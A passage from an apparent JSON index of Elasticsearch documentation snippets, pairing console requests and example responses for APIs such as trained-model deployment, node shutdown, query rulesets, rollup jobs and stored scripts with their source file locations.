\"bert\": {\n \"truncate\": \"first\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":1099},"digest":"778547ddac52cb030de0f44bb5c5bbdc","lang":"console-result","found":[],"source":"{\n \"inference_results\": [{\n \"predicted_value\" : \"The [Amazon](LOC&Amazon) rainforest covers most of the [Amazon](LOC&Amazon) basin in [South America](LOC&South+America)\",\n \"entities\" : [\n {\n \"entity\" : \"Amazon\",\n \"class_name\" : \"LOC\",\n \"class_probability\" : 0.9505460915724254,\n \"start_pos\" : 4,\n \"end_pos\" : 10\n },\n {\n \"entity\" : \"Amazon\",\n \"class_name\" : \"LOC\",\n \"class_probability\" : 0.9969992804311777,\n \"start_pos\" : 41,\n \"end_pos\" : 47\n }\n ],\n \"is_truncated\" : true\n }]\n}"}, {"source_location":{"file":"ml/trained-models/apis/start-trained-model-deployment.asciidoc","line":133},"digest":"aa6282d4bc92c753c4bd7a5b166abece","lang":"console","found":["python"],"source":"POST _ml/trained_models/elastic__distilbert-base-uncased-finetuned-conll03-english/deployment/_start?wait_for=started&timeout=1m"}, {"source_location":{"file":"ml/trained-models/apis/start-trained-model-deployment.asciidoc","line":141},"digest":"18c8fb9396116f39eaa8179d4e70987a","lang":"console-result","found":[],"source":"{\n \"assignment\": {\n \"task_parameters\": {\n \"model_id\": \"elastic__distilbert-base-uncased-finetuned-conll03-english\",\n \"model_bytes\": 265632637,\n \"threads_per_allocation\" : 1,\n \"number_of_allocations\" : 1,\n \"queue_capacity\" : 1024,\n \"priority\": \"normal\"\n },\n \"routing_table\": {\n \"uckeG3R8TLe2MMNBQ6AGrw\": {\n \"routing_state\": \"started\",\n \"reason\": \"\"\n }\n },\n \"assignment_state\": \"started\",\n \"start_time\": \"2022-11-02T11:50:34.766591Z\"\n }\n}"}, {"source_location":{"file":"ml/trained-models/apis/start-trained-model-deployment.asciidoc","line":173},"digest":"0e5d25c7bb738c42d471020d678e2966","lang":"console","found":["python"],"source":"POST _ml/trained_models/my_model/deployment/_start?deployment_id=my_model_for_ingest"}, {"source_location":{"file":"ml/trained-models/apis/start-trained-model-deployment.asciidoc","line":181},"digest":"5837d5f50665ac0a26181d3aaeb3f204","lang":"console","found":["python"],"source":"POST _ml/trained_models/my_model/deployment/_start?deployment_id=my_model_for_search"}, {"source_location":{"file":"ml/trained-models/apis/stop-trained-model-deployment.asciidoc","line":67},"digest":"dbf93d02ab86a09929a21232b19709cc","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/my_model_for_search/deployment/_stop"}, {"source_location":{"file":"ml/trained-models/apis/update-trained-model-deployment.asciidoc","line":55},"digest":"70cc66bf4054ebf0ad4955cb99d9ab80","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/elastic__distilbert-base-uncased-finetuned-conll03-english/deployment/_update\n{\n \"number_of_allocations\": 4\n}"}, {"source_location":{"file":"ml/trained-models/apis/update-trained-model-deployment.asciidoc","line":66},"digest":"cc9c1a787723585faeb0b8923117dd08","lang":"console-result","found":[],"source":"{\n \"assignment\": {\n \"task_parameters\": {\n \"model_id\": \"elastic__distilbert-base-uncased-finetuned-conll03-english\",\n \"model_bytes\": 265632637,\n \"threads_per_allocation\" : 1,\n \"number_of_allocations\" : 4,\n \"queue_capacity\" : 1024\n },\n \"routing_table\": {\n \"uckeG3R8TLe2MMNBQ6AGrw\": {\n \"current_allocations\": 1,\n \"target_allocations\": 4,\n \"routing_state\": \"started\",\n \"reason\": \"\"\n }\n },\n \"assignment_state\": \"started\",\n \"start_time\": \"2022-11-02T11:50:34.766591Z\"\n }\n}"}, {"source_location":{"file":"migration/apis/deprecation.asciidoc","line":61},"digest":"135819da3a4bde684357c57a49ad8e85","lang":"console","found":["ruby"],"source":"GET /_migration/deprecations"}, {"source_location":{"file":"migration/apis/deprecation.asciidoc","line":140},"digest":"69f8b0f2a9ba47e11f363d788cee9d6d","lang":"console","found":["ruby"],"source":"GET /logstash-*/_migration/deprecations"}, {"source_location":{"file":"migration/apis/feature-migration.asciidoc","line":47},"digest":"85e2719d9fd6d2c2d47d28d39f2e3f7e","lang":"console","found":["ruby"],"source":"GET /_migration/system_features"}, {"source_location":{"file":"migration/apis/feature-migration.asciidoc","line":54},"digest":"08182085bcd8d57f4fd49619eed61feb","lang":"console-result","found":[],"source":"{\n \"features\" : [\n {\n \"feature_name\" : \"async_search\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"enrich\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"ent_search\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"fleet\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"geoip\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"kibana\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"logstash_management\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"machine_learning\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"searchable_snapshots\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"security\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"synonyms\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"tasks\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"transform\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n },\n {\n \"feature_name\" : \"watcher\",\n \"minimum_index_version\" : \"8100099\",\n \"migration_status\" : \"NO_MIGRATION_NEEDED\",\n \"indices\" : [ ]\n }\n ],\n \"migration_status\" : \"NO_MIGRATION_NEEDED\"\n}"}, {"source_location":{"file":"migration/apis/feature-migration.asciidoc","line":152},"digest":"008ed823c89e703c447ac89c6b689833","lang":"console","found":["ruby"],"source":"POST /_migration/system_features"}, {"source_location":{"file":"migration/apis/feature-migration.asciidoc","line":159},"digest":"daa6c928819a3ba77b9ffb9987f8c919","lang":"console-result","found":[],"source":"{\n \"accepted\" : true,\n \"features\" : [\n {\n \"feature_name\" : \"security\" <1>\n }\n ]\n}"}, {"source_location":{"file":"shutdown/apis/shutdown-put.asciidoc","line":96},"digest":"5305bc07c1bf90bab3e8db1de3e31b26","lang":"console","found":["ruby"],"source":"PUT /_nodes/USpTGYaBSIKbgSUJR2Z9lg/shutdown\n{\n \"type\": \"restart\", <1>\n \"reason\": \"Demonstrating how the node shutdown API works\",\n \"allocation_delay\": \"20m\"\n}"}, {"source_location":{"file":"shutdown/apis/shutdown-get.asciidoc","line":51},"digest":"532f371934b61fb4992d37bedcc085de","lang":"console","found":["ruby"],"source":"PUT /_nodes/USpTGYaBSIKbgSUJR2Z9lg/shutdown\n{\n \"type\": \"restart\",\n \"reason\": \"Demonstrating how the node shutdown API works\",\n \"allocation_delay\": \"10m\"\n}"}, {"source_location":{"file":"shutdown/apis/shutdown-get.asciidoc","line":63},"digest":"39760996f94ad34aaceaa16a5cc97993","lang":"console","found":["ruby"],"source":"GET /_nodes/USpTGYaBSIKbgSUJR2Z9lg/shutdown"}, {"source_location":{"file":"shutdown/apis/shutdown-get.asciidoc","line":72},"digest":"ebb62aa1a642ff05d99447d78bddfcf8","lang":"console-result","found":[],"source":"{\n \"nodes\": [\n {\n \"node_id\": \"USpTGYaBSIKbgSUJR2Z9lg\",\n \"type\": \"RESTART\",\n \"reason\": \"Demonstrating how the node shutdown API works\",\n \"shutdown_startedmillis\": 1624406108685,\n \"allocation_delay\": \"10m\",\n \"status\": \"COMPLETE\",\n \"shard_migration\": {\n \"status\": \"COMPLETE\",\n \"shard_migrations_remaining\": 0,\n \"explanation\": \"no shard relocation is necessary for a node restart\"\n },\n \"persistent_tasks\": {\n \"status\": \"COMPLETE\"\n },\n \"plugins\": {\n \"status\": \"COMPLETE\"\n }\n }\n ]\n}"}, {"source_location":{"file":"shutdown/apis/shutdown-delete.asciidoc","line":51},"digest":"37983daac3d9c8582583a507b3adb7f2","lang":"console","found":["ruby"],"source":"PUT /_nodes/USpTGYaBSIKbgSUJR2Z9lg/shutdown\n{\n \"type\": \"restart\",\n \"reason\": \"Demonstrating how the node shutdown API works\"\n}"}, {"source_location":{"file":"shutdown/apis/shutdown-delete.asciidoc","line":65},"digest":"6b3dcde0656d3a96dbcfed1ec814e10a","lang":"console","found":["ruby"],"source":"DELETE /_nodes/USpTGYaBSIKbgSUJR2Z9lg/shutdown"}, {"source_location":{"file":"shutdown/apis/shutdown-delete.asciidoc","line":74},"digest":"581fbd443376ef07072018020e700289","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"query-rules/apis/put-query-ruleset.asciidoc","line":119},"digest":"e619e896ce3dad9dcfc6f8700438be98","lang":"console","found":[],"source":"PUT _query_rules/my-ruleset\n{\n \"rules\": [\n {\n \"rule_id\": \"my-rule1\",\n \"type\": \"pinned\",\n \"criteria\": [\n {\n \"type\": \"contains\",\n \"metadata\": \"user_query\",\n \"values\": [ \"pugs\", \"puggles\" ]\n },\n {\n \"type\": \"exact\",\n \"metadata\": \"user_country\",\n \"values\": [ \"us\" ]\n }\n ],\n \"actions\": {\n \"ids\": [\n \"id1\",\n \"id2\"\n ]\n }\n },\n {\n \"rule_id\": \"my-rule2\",\n \"type\": \"pinned\",\n \"criteria\": [\n {\n \"type\": \"fuzzy\",\n \"metadata\": \"user_query\",\n \"values\": [ \"rescue dogs\" ]\n }\n ],\n \"actions\": {\n \"docs\": [\n {\n \"_index\": \"index1\",\n \"_id\": \"id3\"\n },\n {\n \"_index\": \"index2\",\n \"_id\": \"id4\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"query-rules/apis/get-query-ruleset.asciidoc","line":104},"digest":"5fde0d78e9b2cc0519f8a63848ed344e","lang":"console","found":[],"source":"GET _query_rules/my-ruleset/"}, {"source_location":{"file":"query-rules/apis/get-query-ruleset.asciidoc","line":111},"digest":"29e690cd4b9cc617a2e34623fa3f715f","lang":"console-result","found":[],"source":"{\n \"ruleset_id\": \"my-ruleset\",\n \"rules\": [\n {\n \"rule_id\": \"my-rule1\",\n \"type\": \"pinned\",\n \"criteria\": [\n {\n \"type\": \"contains\",\n \"metadata\": \"query_string\",\n \"values\": [ \"pugs\", \"puggles\" ]\n }\n ],\n \"actions\": {\n \"ids\": [\n \"id1\",\n \"id2\"\n ]\n }\n },\n {\n \"rule_id\": \"my-rule2\",\n \"type\": \"pinned\",\n \"criteria\": [\n {\n \"type\": \"fuzzy\",\n \"metadata\": \"query_string\",\n \"values\": [ \"rescue dogs\" ]\n }\n ],\n \"actions\": {\n \"docs\": [\n {\n \"_index\": \"index1\",\n \"_id\": \"id3\"\n },\n {\n \"_index\": \"index2\",\n \"_id\": \"id4\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"query-rules/apis/list-query-rulesets.asciidoc","line":160},"digest":"56db76c987106a870357854d3068ad98","lang":"console","found":[],"source":"GET _query_rules/"}, {"source_location":{"file":"query-rules/apis/list-query-rulesets.asciidoc","line":167},"digest":"61d6b9503459914c436930c3ae87d454","lang":"console","found":[],"source":"GET _query_rules/?from=0&size=3"}, {"source_location":{"file":"query-rules/apis/list-query-rulesets.asciidoc","line":174},"digest":"e15f702a80011ea449b3135dc8a17ad7","lang":"console-result","found":[],"source":"{\n \"count\": 3,\n \"results\": [\n {\n \"ruleset_id\": \"ruleset-1\",\n \"rule_total_count\": 1,\n \"rule_criteria_types_counts\": {\n \"exact\": 1\n }\n },\n {\n \"ruleset_id\": \"ruleset-2\",\n \"rule_total_count\": 2,\n \"rule_criteria_types_counts\": {\n \"exact\": 1,\n \"fuzzy\": 1\n }\n },\n {\n \"ruleset_id\": \"ruleset-3\",\n \"rule_total_count\": 3,\n \"rule_criteria_types_counts\": {\n \"exact\": 1,\n \"fuzzy\": 2\n }\n }\n ]\n}"}, {"source_location":{"file":"query-rules/apis/delete-query-ruleset.asciidoc","line":71},"digest":"7e77509ab646276ff78f58bb38bec8dd","lang":"console","found":[],"source":"DELETE _query_rules/my-ruleset/"}, {"source_location":{"file":"indices/apis/reload-analyzers.asciidoc","line":10},"digest":"ed09432c6069e41409f0a5e0d1d3842a","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_reload_search_analyzers\nPOST /my-index-000001/_cache/clear?request=true"}, {"source_location":{"file":"indices/apis/reload-analyzers.asciidoc","line":110},"digest":"df0d27d3abd286b75aef7ddcf0e6c66c","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_synonyms\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"synonym\" ]\n }\n },\n \"filter\": {\n \"synonym\": {\n \"type\": \"synonym_graph\",\n \"synonyms_path\": \"analysis/synonym.txt\", <1>\n \"updateable\": true <2>\n }\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"analyzer\": \"standard\",\n \"search_analyzer\": \"my_synonyms\" <3>\n }\n }\n }\n}"}, {"source_location":{"file":"indices/apis/reload-analyzers.asciidoc","line":154},"digest":"44db41b8465af951e366da97ade63bc1","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_reload_search_analyzers"}, {"source_location":{"file":"indices/apis/reload-analyzers.asciidoc","line":162},"digest":"6679f86497a8c543af57daf64a8fa3f3","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"reload_details\": [\n {\n \"index\": \"my-index-000001\",\n \"reloaded_analyzers\": [\n \"my_synonyms\"\n ],\n \"reloaded_node_ids\": [\n \"mfdqTXn_T7SGr2Ho2KT8uw\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"rollup/apis/put-job.asciidoc","line":250},"digest":"4d2e6eb7fea407deeb7a859c267fda62","lang":"console","found":[],"source":"PUT _rollup/job/sensor\n{\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"page_size\": 1000,\n \"groups\": { <1>\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"1h\",\n \"delay\": \"7d\"\n },\n \"terms\": {\n \"fields\": [ \"node\" ]\n }\n },\n \"metrics\": [ <2>\n {\n \"field\": \"temperature\",\n \"metrics\": [ \"min\", \"max\", \"sum\" ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [ \"avg\" ]\n }\n ]\n}"}, {"source_location":{"file":"rollup/apis/put-job.asciidoc","line":289},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"rollup/apis/delete-job.asciidoc","line":79},"digest":"94246f45025ed394cd6415ed8d7a0588","lang":"console","found":["ruby"],"source":"DELETE _rollup/job/sensor"}, {"source_location":{"file":"rollup/apis/delete-job.asciidoc","line":87},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"rollup/apis/get-job.asciidoc","line":88},"digest":"d095b422d9803c02b62c01adffc85376","lang":"console","found":["ruby"],"source":"GET _rollup/job/sensor"}, {"source_location":{"file":"rollup/apis/get-job.asciidoc","line":96},"digest":"3f6747b07a942bf0efd68d3a50b2a6e4","lang":"console-result","found":[],"source":"{\n \"jobs\": [\n {\n \"config\": {\n \"id\": \"sensor\",\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"groups\": {\n \"date_histogram\": {\n \"fixed_interval\": \"1h\",\n \"delay\": \"7d\",\n \"field\": \"timestamp\",\n \"time_zone\": \"UTC\"\n },\n \"terms\": {\n \"fields\": [\n \"node\"\n ]\n }\n },\n \"metrics\": [\n {\n \"field\": \"temperature\",\n \"metrics\": [\n \"min\",\n \"max\",\n \"sum\"\n ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [\n \"avg\"\n ]\n }\n ],\n \"timeout\": \"20s\",\n \"page_size\": 1000\n },\n \"status\": {\n \"job_state\": \"stopped\"\n },\n \"stats\": {\n \"pages_processed\": 0,\n \"documents_processed\": 0,\n \"rollups_indexed\": 0,\n \"trigger_count\": 0,\n \"index_failures\": 0,\n \"index_time_in_ms\": 0,\n \"index_total\": 0,\n \"search_failures\": 0,\n \"search_time_in_ms\": 0,\n \"search_total\": 0,\n \"processing_time_in_ms\": 0,\n \"processing_total\": 0\n }\n }\n ]\n}"}, {"source_location":{"file":"rollup/apis/get-job.asciidoc","line":163},"digest":"b5bc1bb7278f2f95bc54790c78c928e0","lang":"console","found":[],"source":"PUT _rollup/job/sensor2 <1>\n{\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"page_size\": 1000,\n \"groups\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"1h\",\n \"delay\": \"7d\"\n },\n \"terms\": {\n \"fields\": [ \"node\" ]\n }\n },\n \"metrics\": [\n {\n \"field\": \"temperature\",\n \"metrics\": [ \"min\", \"max\", \"sum\" ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [ \"avg\" ]\n }\n ]\n}\n\nGET _rollup/job/_all <2>"}, {"source_location":{"file":"rollup/apis/rollup-caps.asciidoc","line":56},"digest":"838a4eabebba4c06100fb37dc30c7722","lang":"console","found":[],"source":"PUT _rollup/job/sensor\n{\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"page_size\": 1000,\n \"groups\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"1h\",\n \"delay\": \"7d\"\n },\n \"terms\": {\n \"fields\": [ \"node\" ]\n }\n },\n \"metrics\": [\n {\n \"field\": \"temperature\",\n \"metrics\": [ \"min\", \"max\", \"sum\" ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [ \"avg\" ]\n }\n ]\n}"}, {"source_location":{"file":"rollup/apis/rollup-caps.asciidoc","line":91},"digest":"a00311843b5f8f3e9f7d511334a828b1","lang":"console","found":["ruby"],"source":"GET _rollup/data/sensor-*"}, {"source_location":{"file":"rollup/apis/rollup-caps.asciidoc","line":99},"digest":"daffdcda9042b8ac26bc109a3b38173a","lang":"console-result","found":[],"source":"{\n \"sensor-*\" : {\n \"rollup_jobs\" : [\n {\n \"job_id\" : \"sensor\",\n \"rollup_index\" : \"sensor_rollup\",\n \"index_pattern\" : \"sensor-*\",\n \"fields\" : {\n \"node\" : [\n {\n \"agg\" : \"terms\"\n }\n ],\n \"temperature\" : [\n {\n \"agg\" : \"min\"\n },\n {\n \"agg\" : \"max\"\n },\n {\n \"agg\" : \"sum\"\n }\n ],\n \"timestamp\" : [\n {\n \"agg\" : \"date_histogram\",\n \"time_zone\" : \"UTC\",\n \"fixed_interval\" : \"1h\",\n \"delay\": \"7d\"\n }\n ],\n \"voltage\" : [\n {\n \"agg\" : \"avg\"\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"rollup/apis/rollup-caps.asciidoc","line":163},"digest":"944806221eb89f5af2298ccdf2902277","lang":"console","found":["ruby"],"source":"GET _rollup/data/_all"}, {"source_location":{"file":"rollup/apis/rollup-caps.asciidoc","line":172},"digest":"f8cb1a04c2e487ff006b5ae0e1a7afbd","lang":"console","found":["ruby"],"source":"GET _rollup/data/sensor-1"}, {"source_location":{"file":"rollup/apis/rollup-caps.asciidoc","line":178},"digest":"ecde3c2fa2f4b771baec679a4cdf348f","lang":"console-result","found":[],"source":"{\n\n}"}, {"source_location":{"file":"rollup/apis/rollup-index-caps.asciidoc","line":53},"digest":"838a4eabebba4c06100fb37dc30c7722","lang":"console","found":[],"source":"PUT _rollup/job/sensor\n{\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"page_size\": 1000,\n \"groups\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"1h\",\n \"delay\": \"7d\"\n },\n \"terms\": {\n \"fields\": [ \"node\" ]\n }\n },\n \"metrics\": [\n {\n \"field\": \"temperature\",\n \"metrics\": [ \"min\", \"max\", \"sum\" ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [ \"avg\" ]\n }\n ]\n}"}, {"source_location":{"file":"rollup/apis/rollup-index-caps.asciidoc","line":88},"digest":"73d1a6c5ef90b7e35d43a0bfdc1e158d","lang":"console","found":["ruby"],"source":"GET /sensor_rollup/_rollup/data"}, {"source_location":{"file":"rollup/apis/rollup-index-caps.asciidoc","line":97},"digest":"b656c91a173b5aaaf21efb9ff882c0b6","lang":"console-result","found":[],"source":"{\n \"sensor_rollup\" : {\n \"rollup_jobs\" : [\n {\n \"job_id\" : \"sensor\",\n \"rollup_index\" : \"sensor_rollup\",\n \"index_pattern\" : \"sensor-*\",\n \"fields\" : {\n \"node\" : [\n {\n \"agg\" : \"terms\"\n }\n ],\n \"temperature\" : [\n {\n \"agg\" : \"min\"\n },\n {\n \"agg\" : \"max\"\n },\n {\n \"agg\" : \"sum\"\n }\n ],\n \"timestamp\" : [\n {\n \"agg\" : \"date_histogram\",\n \"time_zone\" : \"UTC\",\n \"fixed_interval\" : \"1h\",\n \"delay\": \"7d\"\n }\n ],\n \"voltage\" : [\n {\n \"agg\" : \"avg\"\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"rollup/apis/rollup-index-caps.asciidoc","line":163},"digest":"642161d70dacf7d153767d37d3726838","lang":"console","found":["ruby"],"source":"GET /*_rollup/_rollup/data"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":78},"digest":"838a4eabebba4c06100fb37dc30c7722","lang":"console","found":[],"source":"PUT _rollup/job/sensor\n{\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"page_size\": 1000,\n \"groups\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"1h\",\n \"delay\": \"7d\"\n },\n \"terms\": {\n \"fields\": [ \"node\" ]\n }\n },\n \"metrics\": [\n {\n \"field\": \"temperature\",\n \"metrics\": [ \"min\", \"max\", \"sum\" ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [ \"avg\" ]\n }\n ]\n}"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":115},"digest":"f29b2674299ddf51a25ed87619025ede","lang":"console","found":["ruby"],"source":"GET /sensor_rollup/_rollup_search\n{\n \"size\": 0,\n \"aggregations\": {\n \"max_temperature\": {\n \"max\": {\n \"field\": \"temperature\"\n }\n }\n }\n}"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":136},"digest":"82742a24e16fbaffa950867499a39b97","lang":"console-result","found":[],"source":"{\n \"took\" : 102,\n \"timed_out\" : false,\n \"terminated_early\" : false,\n \"_shards\" : ... ,\n \"hits\" : {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\" : 0.0,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"max_temperature\" : {\n \"value\" : 202.0\n }\n }\n}"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":170},"digest":"75e6d66e94e61bd8a555beaaee255c36","lang":"console","found":["ruby"],"source":"GET sensor_rollup/_rollup_search\n{\n \"size\": 0,\n \"aggregations\": {\n \"avg_temperature\": {\n \"avg\": {\n \"field\": \"temperature\"\n }\n }\n }\n}"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":187},"digest":"183dc354ec6ee1ba3b4544bd2a233990","lang":"console-result","found":[],"source":"{\n \"error\": {\n \"root_cause\": [\n {\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.\",\n \"stack_trace\": ...\n }\n ],\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.\",\n \"stack_trace\": ...\n },\n \"status\": 400\n}"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":213},"digest":"1a9efb56adb2cd84faa9825a129381b9","lang":"console","found":["ruby"],"source":"GET sensor-1,sensor_rollup/_rollup_search <1>\n{\n \"size\": 0,\n \"aggregations\": {\n \"max_temperature\": {\n \"max\": {\n \"field\": \"temperature\"\n }\n }\n }\n}"}, {"source_location":{"file":"rollup/apis/rollup-search.asciidoc","line":244},"digest":"82742a24e16fbaffa950867499a39b97","lang":"console-result","found":[],"source":"{\n \"took\" : 102,\n \"timed_out\" : false,\n \"terminated_early\" : false,\n \"_shards\" : ... ,\n \"hits\" : {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\" : 0.0,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"max_temperature\" : {\n \"value\" : 202.0\n }\n }\n}"}, {"source_location":{"file":"rollup/apis/start-job.asciidoc","line":50},"digest":"618c9d42284c067891fb57034a4fd834","lang":"console","found":["ruby"],"source":"POST _rollup/job/sensor/_start"}, {"source_location":{"file":"rollup/apis/start-job.asciidoc","line":58},"digest":"1851f163178ac4046c8fc88b0293644f","lang":"console-result","found":[],"source":"{\n \"started\": true\n}"}, {"source_location":{"file":"rollup/apis/stop-job.asciidoc","line":75},"digest":"07a5fdeb7805cec1d28ba288b28f5ff5","lang":"console","found":["ruby"],"source":"POST _rollup/job/sensor/_stop?wait_for_completion=true&timeout=10s"}, {"source_location":{"file":"rest-api/root.asciidoc","line":11},"digest":"3d1ff6097e2359f927c88c2ccdb36252","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /"}, {"source_location":{"file":"rest-api/root.asciidoc","line":87},"digest":"d1cab4f82fabd571af25f8a58499e7f0","lang":"console-result","found":[],"source":"{\n \"name\": \"instance-0000000000\",\n \"cluster_name\": \"my_test_cluster\",\n \"cluster_uuid\": \"5QaxoN0pRZuOmWSxstBBwQ\",\n \"version\": {\n \"build_date\": \"2024-02-01T13:07:13.727175297Z\",\n \"minimum_wire_compatibility_version\": \"7.17.0\",\n \"build_hash\": \"6185ba65d27469afabc9bc951cded6c17c21e3f3\",\n \"number\": \"8.12.1\",\n \"lucene_version\": \"9.9.2\",\n \"minimum_index_compatibility_version\": \"7.0.0\",\n \"build_flavor\": \"default\",\n \"build_snapshot\": false,\n \"build_type\": \"docker\"\n },\n \"tagline\": \"You Know, for Search\"\n}"}, {"source_location":{"file":"scripting/apis/create-stored-script-api.asciidoc","line":11},"digest":"d80ac403d8d936ca9dec185c7da13f2f","lang":"console","found":["ruby"],"source":"PUT _scripts/my-stored-script\n{\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"Math.log(_score * 2) + params['my_modifier']\"\n }\n}"}, {"source_location":{"file":"scripting/apis/delete-stored-script-api.asciidoc","line":24},"digest":"f97aa2efabbf11a534073041eb2658c9","lang":"console","found":["ruby"],"source":"DELETE _scripts/my-stored-script"}, {"source_location":{"file":"scripting/apis/get-script-contexts-api.asciidoc","line":10},"digest":"7fb921376cbf66bf9f381bcdd62030ba","lang":"console","found":["ruby"],"source":"GET _script_context"}, {"source_location":{"file":"scripting/apis/get-script-languages-api.asciidoc","line":11},"digest":"ca3bcd6278510ebced5f74484033cb36","lang":"console","found":["ruby"],"source":"GET _script_language"}, {"source_location":{"file":"scripting/apis/get-stored-script-api.asciidoc","line":24},"digest":"5093bfd281dbe41bd0dba8ff979e6e47","lang":"console","found":["ruby"],"source":"GET _scripts/my-stored-script"}, {"source_location":{"file":"search/search.asciidoc","line":10},"digest":"3e8ed6ae016eb823cb00d9035b8ac459","lang":"console","found":["python","ruby","go"],"source":"GET /my-index-000001/_search"}, {"source_location":{"file":"search/search.asciidoc","line":907},"digest":"eec051555c8050d017d3fe38ea59e3a0","lang":"console","found":["python","ruby"],"source":"GET /my-index-000001/_search?from=40&size=20\n{\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search.asciidoc","line":923},"digest":"770bde344d91838169ff24b3de331be2","lang":"console-result","found":[],"source":"{\n \"took\": 5,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n 